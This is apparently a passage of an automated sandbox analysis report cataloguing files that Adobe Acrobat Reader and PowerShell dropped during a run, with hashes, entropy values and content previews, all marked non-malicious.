SHA-512:	02A76311EE1F9F2D1D4945D18C2DFE9BC7F6FDC110BB05A74E9BC29BC057F6D9B41915D4CC5440500850A70C4F4FA376076BC86E647C62B564034D4473B3127F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a20c72f-bfee-4fc2-afe3-93857e4824d1","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736752821808,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.279337978688346
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlz7a3eJWnWsGiIPEeOF0YGeoAvJfQ1rPeUkwRe9:YvXKXlzuwWWsdTeOqGY16Ukee9
MD5:	7CC07F6967EEFD5AD0C3AC26B65F1113
SHA1:	E975C884FF305837750B89C7A7D7EE6953C6EAA0
SHA-256:	4515CC9F3FC4E268BB893561367F39C9DE3F3E781BB518E09CC5109BD6D9C7D1
SHA-512:	109CAD479387C28D59262C3E08AAB56CBE7F75673DECFFD477B6FC4ECFF4CD0D142E42DBD814C5AA51034C29CFC52D4624E509925D8D7FE58825936D6EC06087
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a20c72f-bfee-4fc2-afe3-93857e4824d1","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736752821808,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296189079273
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlz7a3eJWnWsGiIPEeOF0YGeoAvJfFldPeUkwRe9:YvXKXlzuwWWsdTeOqGz8Ukee9
MD5:	C1E39E7265B31C7CA60B5D4CD748737E
SHA1:	B12649F092CD48938C7EC553D6DDB93E7C2EFD83
SHA-256:	403B3D46D4417DD00DCC5C7B43765370C9A24AC45918A364352E99973D043A58
SHA-512:	337470CF6B4A473C31D8B2703E8808A59B17B2D584E510C37937016F3F1A894909AA5C2E35AF7AA446AAEAF6D5AF0D374CF1C1F86EEE97490AAAF9D960220611
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a20c72f-bfee-4fc2-afe3-93857e4824d1","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736752821808,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.301819188062845
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlz7a3eJWnWsGiIPEeOF0YGeoAvJfzdPeUkwRe9:YvXKXlzuwWWsdTeOqGb8Ukee9
MD5:	14F10DE78625851AD012BFA296B0B6D9
SHA1:	C92F248CA586D3DDDD68E27BB4FBA34E8DAC299E
SHA-256:	8984B44ACE752C1906EF14825EE587F622DBA0F8FE1595F8360039246AB8C1F2
SHA-512:	810F104AF8C47D78240F5DF4CDF2897E2C25A7216B1F2F92D752648FC48DC47FA07069B3F000FC3673A0FB2A853D46792A8BD5769A04DA73E5727715D12E3888
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a20c72f-bfee-4fc2-afe3-93857e4824d1","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736752821808,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28209868655579
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlz7a3eJWnWsGiIPEeOF0YGeoAvJfYdPeUkwRe9:YvXKXlzuwWWsdTeOqGg8Ukee9
MD5:	3A4CF9EC46958FA67249DD38F8EF2F03
SHA1:	76545CA43F65316ADB9C915EAE208D46D65D46D0
SHA-256:	F5D8145AF901E43F46DB2D7D89665FD607A7FC514B3BDDEE1097C4536DC33D78
SHA-512:	9A14244CA48EF508F5F2FD4C38E380248B5B18873599D3527ECB15793F9F79553AA6C899AEF8F0A61C5D7EBBE6F87A136E9808ABE0EA08037CB61D78422497AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a20c72f-bfee-4fc2-afe3-93857e4824d1","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736752821808,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.268682736399236
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlz7a3eJWnWsGiIPEeOF0YGeoAvJf+dPeUkwRe9:YvXKXlzuwWWsdTeOqG28Ukee9
MD5:	27C141767D2314EABDAFD51B70619B17
SHA1:	BCAD24B1DD50C336A599BEB93AED33859DAEF5A0
SHA-256:	FF3A6E22D7D79903C78FA5317E2C02A12092230833DA4AD17EC4AC046FB3BADC
SHA-512:	6ADDA6120969BC4B0C1B3C612644A986EC39F485725EB7FB2D844359327E4C9049677E91718B22EA04BB21194C4BD0033A0EC4DD3E4D3729867301AD81831045
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a20c72f-bfee-4fc2-afe3-93857e4824d1","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736752821808,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.265768817311746
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlz7a3eJWnWsGiIPEeOF0YGeoAvJfbPtdPeUkwRe9:YvXKXlzuwWWsdTeOqGDV8Ukee9
MD5:	BDF97FFCAC09D721A84FFAE66F93EE69
SHA1:	9D2BA380B8E83DC72978F93EFDA1A4AAA5CA0F76
SHA-256:	008804823F0961B71119C5A5E99B403B24AD862F73A99158BFD6124F27C68C6A
SHA-512:	DF07C8CD076E732594FFB9FA623759B21A606B15F032F74466E74CD0FBBD17D5C2B15761A0B26BC3892F2F9758629D1CBF58C5A6DAB74CFFBDAF08F37E04C2A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a20c72f-bfee-4fc2-afe3-93857e4824d1","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736752821808,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.270172489037
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlz7a3eJWnWsGiIPEeOF0YGeoAvJf21rPeUkwRe9:YvXKXlzuwWWsdTeOqG+16Ukee9
MD5:	DD2D6D4268DB17AC552900BE8490F6A8
SHA1:	5E6F43CF1D4368FFDF1076B178B7A0E805C37114
SHA-256:	4013BA0D5697889C77161389D5F463E4061F11CB0BD311F56E897F7C89F8FC00
SHA-512:	DB716B6286463C63F4EBD8833BC7E389F29387A8BE19D35358179AF8E8227DFFFB90086309BFA15420AC578ED859FF5997DAFD41C1465F94456F7DCBC8AC23C0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a20c72f-bfee-4fc2-afe3-93857e4824d1","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736752821808,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664905851611153
Encrypted:	false
SSDEEP:	24:Yv6Xtuw7meOfamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS1:YvCCeuBgkDMUJUAh8cvM1
MD5:	60E5BC71FB4D1DB444D48E7A2ED1A33D
SHA1:	0513C950654FB86A4691419A6020B3233E8AD100
SHA-256:	C7445B3677182B7050D8A7AAAF2CBAE62AB1A52A367B4B689168D9CBC5735B92
SHA-512:	C0F3EFA73C5225B58BA09AB4BC9763CC6F6D67B37E7673A45912B94A673E62A7F4DB003D7AF0802F3ECA165CC315446A4BF38A7CDE5CB8019457505F655C306A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a20c72f-bfee-4fc2-afe3-93857e4824d1","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736752821808,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.247312525268551
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlz7a3eJWnWsGiIPEeOF0YGeoAvJfshHHrPeUkwRe9:YvXKXlzuwWWsdTeOqGUUUkee9
MD5:	E7A8D5B69F70C8B3CECC70336626181B
SHA1:	0F80892D4989DF9B27F53308232703B384327DB8
SHA-256:	EED12985FD743D6814BEFECDCA53DC40276432A033E59ECB92D0E9A3E88D50A1
SHA-512:	97A7A3D68F172452F0DA00DA7AB58C44E88473B007B8144424A7705731B230E61544E57E78582D884E3E6FD83597C10FEDD36384DAEED0F991E6DB991276429E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a20c72f-bfee-4fc2-afe3-93857e4824d1","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736752821808,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.263029949717229
Encrypted:	false
SSDEEP:	6:YEQXJ2HXlz7a3eJWnWsGiIPEeOF0YGeoAvJTqgFCrPeUkwRe9:YvXKXlzuwWWsdTeOqGTq16Ukee9
MD5:	5F479233F425353A03C2BC6D39E188BF
SHA1:	3CB5348CE08F6C4BB145927CDB5D37645E417BFC
SHA-256:	E300DEBA33D5506E625CC08040F933124CFA5350F54267F3862A946BB5ABCF4C
SHA-512:	2EA6886A04150236A09446F17CF2B6D84EAC9E992877313ECDF4B030E453364986552D45C26EF06EE3766BF6E347BB8E63A535C284FAB96E7CB9196DE43F5B2E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3a20c72f-bfee-4fc2-afe3-93857e4824d1","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736752821808,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143756412501016
Encrypted:	false
SSDEEP:	24:Y0fOa0BAayEpx7blpGgFJ9RtbmKzdDjQSj0SlYKR21v7U2LS/Cy7ziPMW+5ul9Yo:Y9BBp1GgFJ9RzVrKycoJfziPMf09Ym1B
MD5:	89649B8FED23787A9DE23AF63667C178
SHA1:	4495B39AD99A572174FD9D8D63CA752F0798FAED
SHA-256:	17A2F86674334AC8AA32FDB18C0FA250D68A10B94EFB536630ACDA5A30CC8ACA
SHA-512:	9C9D7DE228F38274F5D39CF46F0F73A92183861AD280ED9DADEF5A63AA28DCBE5D491423D67FB0EE7593645B2562B695E2786865F966FCF8A6155EF8C1C6B52A
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c6cb4b0a1e753b6e586a512a86a36068","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736574202000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"ba1bc945ebbe8863c5ba43551675446c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736574201000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c5ea3b83cb41bafee09b7e7bb01d7df0","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736574201000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"709611518f24a5405046669d89c13357","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736574201000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b6dc4ccfbcc6d86442bba736622febf2","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736574201000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d7b95be1dcc7df88ef4a2f8406ab430b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4528132384874435
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsPld:lNVmsw3SHtbDbPe0K3+fDZd8
MD5:	39D2E28A98D3CC4FB38A880FD7FC94A0
SHA1:	CE9DC03CB7F02C68730BD3A60DF56E2EA7DEB30C
SHA-256:	C054839D01FC4E897C4C5561E55CB0DC1655FC3E6B25AE4FE92DDEBD325DEAAC
SHA-512:	4A1E8D9CD40AA108B9CC4CA96A71F5C81D8C56AB1E1C3D8D9E77D1513677A2831A69143AEBE1F63B3679EEA9E5EABFC4BF4E595A617B3CEA6069F7DC0696049F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9579754148319801
Encrypted:	false
SSDEEP:	48:7M3VrvrBd6dHtbGIbPe0K3+fDy2dsGMqFl2GL7msp:7c3SHtbDbPe0K3+fDZdsKVmsp
MD5:	ABB900274084BC5E79B03BF8ABBFB7A0
SHA1:	4CE3845145809180047B579A15EEEDE70DF76E06
SHA-256:	270354002CC5F253457708E022E5FC17D873133CDE676F09ECC664D508064EB4
SHA-512:	F268E7ADB39F8DE18E9D947BB8C1B61BD2A82603113F82758FC654DC54A5BD987B5570E636C58448DFA0997EAC996FF4BE1DD17C8D964B7A757882951E870EAE
Malicious:	false
Preview:	.... .c.......3......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg35b33I3Zmm2R+Re5MvdH9Bx5r5rLEYyu:6a6TZ44ADE35L3Dm2gw5UrYK
MD5:	7A75F12960316E6DC58EC22A867925A7
SHA1:	CB334CB3341B2441A28D9A552F09B70DF436B896
SHA-256:	90C42BF00EB22C0F101F13ABDCBC7B468DED0ED023AA842CBF3CF6BC657C086F
SHA-512:	2D49FDE0007E2E8422A3742CC926243B0A9BD5D718BFA4C4D48FA3843847A697A9BED11C1EECD0873F94BA743D2AAD6FE2E7FA374E699355A1538BB9ED8BE4DE
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSIa5ec1.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5046637269111454
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClWSlYH:Qw946cPbiOxDlbYnuRKd2YH
MD5:	D4C6821B6D15AC970C22D371867B4723
SHA1:	FD67B2C00BF8C6F3BFCB05E6A34395350B42A170
SHA-256:	7E8376C8F8487835A809C3B4AFC413E074E427A1FFE20ADC9D510B908476D374
SHA-512:	ABD11C21639ACBE55E76243132BD5142E156A11ED6C8DA4DB2BF9214C438FBB8DF4328C55508DD0DD39093FBE4BF3E354354192D22C3AB2750C6E755A693EF06
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.4.3.:.2.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ogw2qwfe.4rx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rjzctaah.pmp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-43-14-490.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.335202495723865
Encrypted:	false
SSDEEP:	384:D5/oXVCvxq/ZvCfO2VzG79Bnjzjgj5jbhJd5tDqYua4p/oR6YI1R5S9ou9ujKMKN:XB9
MD5:	8B72BBDDDB4DDAA55344C48EF2950911
SHA1:	025BC027BB4C557501BD1D0783C9243615CC3BE9
SHA-256:	96ECDD45B66144603CA675EE9BAB15E5492CA577CC2224D1F696B221FD162E3F
SHA-512:	44AC65D7F663A811EE971F6A64A66E0F6C994B7858FFBB082934D3672AE347BC069895EC06B37926D9622B78D64373D9D961260394AEA1FECBFEBAF731E68777
Malicious:	false
Preview:	SessionID=9611e3f9-9491-4d3c-8e88-1c54399d51d4.1736574194503 Timestamp=2025-01-11T00:43:14:503-0500 ThreadID=8008 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=9611e3f9-9491-4d3c-8e88-1c54399d51d4.1736574194503 Timestamp=2025-01-11T00:43:14:504-0500 ThreadID=8008 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=9611e3f9-9491-4d3c-8e88-1c54399d51d4.1736574194503 Timestamp=2025-01-11T00:43:14:504-0500 ThreadID=8008 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=9611e3f9-9491-4d3c-8e88-1c54399d51d4.1736574194503 Timestamp=2025-01-11T00:43:14:504-0500 ThreadID=8008 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=9611e3f9-9491-4d3c-8e88-1c54399d51d4.1736574194503 Timestamp=2025-01-11T00:43:14:504-0500 ThreadID=8008 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.411545078138299
Encrypted:	false
